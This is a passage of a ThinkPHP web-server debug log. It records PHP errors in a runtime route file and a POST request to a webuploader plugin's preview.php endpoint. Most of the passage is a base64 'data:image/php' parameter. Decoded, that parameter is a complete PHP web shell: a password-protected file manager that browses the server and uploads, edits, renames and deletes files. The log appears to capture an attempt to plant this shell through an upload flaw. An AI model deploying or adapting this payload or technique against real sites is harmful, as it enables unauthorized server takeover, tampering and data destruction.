CiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'ui' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:29:28+08:00 ] 119.42.146.234 POST 51tianwei.com/plugin/webuploader/0.1.15/server/preview.php [运行时间:0.003005s] [吞吐率:332.78req/s] [内存消耗:196.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'plugin', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7